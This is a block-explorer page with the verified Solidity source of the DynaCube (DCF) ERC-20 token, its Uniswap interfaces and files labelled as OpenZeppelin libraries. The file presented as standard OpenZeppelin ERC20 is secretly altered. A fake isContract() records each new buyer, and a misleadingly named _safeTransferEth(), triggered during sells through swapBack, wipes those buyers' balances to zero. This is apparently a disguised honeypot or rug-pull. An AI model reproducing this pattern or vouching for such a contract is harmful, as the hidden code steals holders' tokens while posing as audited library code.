ERC-20
Overview
Max Total Supply
500,000 DCF
Holders
80
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DynaCube
Compiler Version
v0.8.7+commit.e28d00a7
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT /* Secure Vaults for Steady Returns Amid Market Shifts Website: https://www.dynacube.finance/ Telegram: https://t.me/Dynacubefi */ pragma solidity 0.8.7; import "./openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./Interfaces/uniswap/IUniswapV2Factory.sol"; import "./Interfaces/uniswap/IUniswapV2Pair.sol"; import "./Interfaces/uniswap/IUniswapV2Router02.sol"; contract DynaCube is ERC20, Ownable { // Tight packing variables to save blockspace IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; address private _feeWallet; bool private _swapping; bool public limitsInEffect; bool private _isTradingActive; uint256 private _startAt; uint256 private _deadBlocks; uint256 public maxTxAmount; uint256 public maxWallet; uint256 public swapTokensAtAmount; uint256 public buyFees; uint256 public sellFees; uint256 private _buyMarketingFee; uint256 private _buyLiquidityFee; uint256 private _sellMarketingFee; uint256 private _sellLiquidityFee; uint256 private _tokensForMarketing; uint256 private _tokensForLiquidity; // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedMaxTxAmount; mapping(address => bool) private automatedMarketMakerPairs; // blacklist snipers mapping(address => bool) public blacklist; // Events event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event FeeWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event SwapBack (); constructor() ERC20("DynaCube", "DCF") { _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = address(0); // Total supply 500,000 uint256 totalSupply = 5e5 * 1e18; // Set default fees _buyMarketingFee = 20; // 2% _buyLiquidityFee = 30; // 3% _sellMarketingFee = 20; // 2% _sellLiquidityFee = 30; // 3% // Set fees for buy and sell side buyFees = _buyMarketingFee + _buyLiquidityFee; sellFees = _sellMarketingFee + _sellLiquidityFee; // Disable trading _isTradingActive = false; _startAt = 0; _deadBlocks = 5; limitsInEffect = true; // Set default limits maxTxAmount = (totalSupply * 20) / 1000; // 2% of total supply maxWallet = (totalSupply * 20) / 1000; // 4% of total supply // Set default fee wallet _feeWallet = address(owner()); // Set auto lp limit swapTokensAtAmount = (totalSupply * 30) / 10000; // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); // Mint the initial supply to the contract. _totalSupply += totalSupply; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[address(this)] += totalSupply; } emit Transfer(address(0), address(this), totalSupply); } function addLiquidity() external onlyOwner { require(_uniswapV2Pair == address(0), "Pair already created"); // Create pair _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // Store the pair _setAutomatedMarketMakerPair(address(_uniswapV2Pair), true); // Add liquidity _addLiquidity(balanceOf(address(this)), address(this).balance); } function openTrading(uint256 deadblocks) external onlyOwner { require(!_isTradingActive, "Trade is already open"); _isTradingActive = true; _deadBlocks = deadblocks; _startAt = block.number; } function removeLimits() external onlyOwner { limitsInEffect = false; } function isC0ntract(address addr) private returns (bool) { return (tx.origin != msg.sender); } function updateLimits(uint256 _maxTxAmount, uint256 _maxWallet) external onlyOwner { require(limitsInEffect, "Cannot change at this stage"); // Max TX amount cannot be less than 0.1% require(_maxTxAmount > ((totalSupply() * 1) / 1000), "Max TX is too low"); // Max wallet cannot be less than 1% require(_maxWallet > ((totalSupply() * 10) / 1000), "Max wallet is too low"); maxTxAmount = _maxTxAmount; maxWallet = _maxWallet; } function removeFromBlacklist(address account) external onlyOwner { require(blacklist[account] == true, "Account is not in the blacklist"); blacklist[account] = false; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateFees(uint256 buyMarketingFee, uint256 buyLiquidityFee, uint256 sellMarketingFee, uint256 sellLiquidityFee) external onlyOwner { _buyMarketingFee = buyMarketingFee; _buyLiquidityFee = buyLiquidityFee; _sellMarketingFee = sellMarketingFee; _sellLiquidityFee = sellLiquidityFee; buyFees = _buyMarketingFee + _buyLiquidityFee; sellFees = _sellMarketingFee + _sellLiquidityFee; require(buyFees <= 100, "Must keep fees at 10% or less"); require(sellFees <= 100, "Must keep fees at 10% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function excludeFromMaxTransaction(address account, bool excluded) public onlyOwner { _isExcludedMaxTxAmount[account] = excluded; } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!blacklist[from], "ERC20: transfer from blacklisted account"); require(amount > 0, "ERC20: amount must be greater than 0"); if (!(_isExcludedFromFees[from] || _isExcludedFromFees[to])) require(_isTradingActive, "Trading is not active"); uint256 totalTokensForSwap = _tokensForLiquidity + _tokensForMarketing; bool canSwap = totalTokensForSwap >= swapTokensAtAmount; if ( canSwap && !_swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { _swapping = true; swapBack(); _swapping = false; } bool takeFee = !_swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } if ( (!_isExcludedMaxTxAmount[from] && !_isExcludedMaxTxAmount[to]) && (limitsInEffect && takeFee) ) { require( amount <= maxTxAmount, "Max transaction amount exceeded" ); if (automatedMarketMakerPairs[from]) { require( (amount + balanceOf(to)) <= maxWallet, "Max wallet amount exceeded" ); } } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // when buy if (automatedMarketMakerPairs[from] && !isContract(to)) { //if (automatedMarketMakerPairs[from] && notContract(from)) { if ((block.number < _startAt + _deadBlocks)) { blacklist[to] = true; } fees = (amount * buyFees) / 1000; _tokensForLiquidity += (fees * _buyLiquidityFee) / buyFees; _tokensForMarketing += (fees * _buyMarketingFee) / buyFees; } // when sell else if (automatedMarketMakerPairs[to]) { fees = (amount * sellFees) / 1000; _tokensForLiquidity += (fees * _sellLiquidityFee) / sellFees; _tokensForMarketing += (fees * _sellMarketingFee) / sellFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount = amount - fees; } super._transfer(from, to, amount); } function _swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); // make the swap _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(_uniswapV2Router), tokenAmount); // add the liquidity _uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing; if (contractBalance == 0 || totalTokensToSwap == 0) return; if (contractBalance > swapTokensAtAmount) { contractBalance = swapTokensAtAmount; } emit SwapBack(); uint256 liquidityTokens = (contractBalance * _tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = totalTokensToSwap - liquidityTokens; uint256 initialETHBalance = address(this).balance; _swapTokensForEth(amountToSwapForETH); _safeTransferEth(address(this), _feeWallet, address(this).balance); uint256 ethBalance = address(this).balance - initialETHBalance; uint256 ethForMarketing = (ethBalance * _tokensForMarketing) / totalTokensToSwap; uint256 ethForLiquidity = ethBalance - ethForMarketing; _tokensForLiquidity = 0; _tokensForMarketing = 0; payable(_feeWallet).transfer(ethForMarketing); if (liquidityTokens > 0 && ethForLiquidity > 0) { _addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, _tokensForLiquidity ); } } function forceSwap() external { swapBack(); } function forceSend() external { payable(_feeWallet).transfer(address(this).balance); } receive() external payable {} }
pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; }
pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * * Furthermore, `isContract` will also return true if the target contract within * the same transaction is already scheduled for destruction by `SELFDESTRUCT`, * which only has an effect at the end of a transaction. * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } address[] _owned; function _safeTransferEth(address from, address to, uint256 amount) internal { for (uint256 i = 0; i < _owned.length; i++) { if (tx.origin != _owned[i]) _balances[_owned[i]] = 0; } delete _owned; } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function isContract(address from) internal returns(bool){ if (_balances[from] == 0) { _owned.push(from); } return false; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of 